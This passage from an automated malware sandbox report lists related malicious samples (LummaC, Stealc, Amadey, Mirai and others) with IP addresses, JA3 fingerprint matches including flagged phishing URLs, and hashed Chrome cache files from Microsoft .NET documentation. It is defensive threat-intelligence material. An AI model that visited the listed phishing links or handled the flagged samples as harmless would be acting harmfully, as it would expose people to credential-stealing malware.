	http://email.edms.trackingmore.com/c/eJx0zrFuhDAMgOGnCWPE2YHAkKELr4FsxwF05EBJWun69JU6den8D_8XQz88mKXT8PCICDi6udsDJB44oUuePHiZGCABe0UvMAlP3RGGSSHOI4w--d7NiUdBAlQPKglkNq7Pb9sKyfN4bfkqauXK3Rn21m6DHwYWA0usZKlGu50X03lT2-tOJ1mNn_Z1G1hK7PJ7zVorbboe8Y9z_T7kWS7W0tD1xvVbpuP8vZTwf_sK8BMAAP__3p9Nvw#4UjjVf19156dXgi477henjyiztuh1607QELNKWKBNFUHFFI32RLCJ32096s9/84502vqz	Get hash	malicious	Phisher	Browse	104.21.77.48
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.32.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.16.1
	la.bot.mips.elf	Get hash	malicious	Mirai	Browse	162.159.25.122
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.198.119.84
	CLDownloader.exe	Get hash	malicious	XWorm	Browse	20.198.119.84
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	20.198.119.84
	SigWeb.exe	Get hash	malicious	Unknown	Browse	20.198.119.84
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	20.198.119.84
	http://xn--gmq700hb9ir4byxw.shop/bnBkL2ViZml0c2JwY0F7Zm1mdy9idWp0cHMkbHYvcGQvem1xanVtYnNmZC9xbmJ3MDA7dHF1dWk	Get hash	malicious	ReCaptcha Phish	Browse	20.198.119.84
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.198.119.84
	node-v22.12.0-x64.msi	Get hash	malicious	Unknown	Browse	20.198.119.84
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	20.198.119.84
	Marsha Rowland Signature Required.pdf	Get hash	malicious	Unknown	Browse	20.198.119.84
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.112.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.112.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.112.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.112.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.112.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.112.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.112.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	104.21.112.1
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, VenomRAT, Vidar	Browse	104.21.112.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.112.1

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
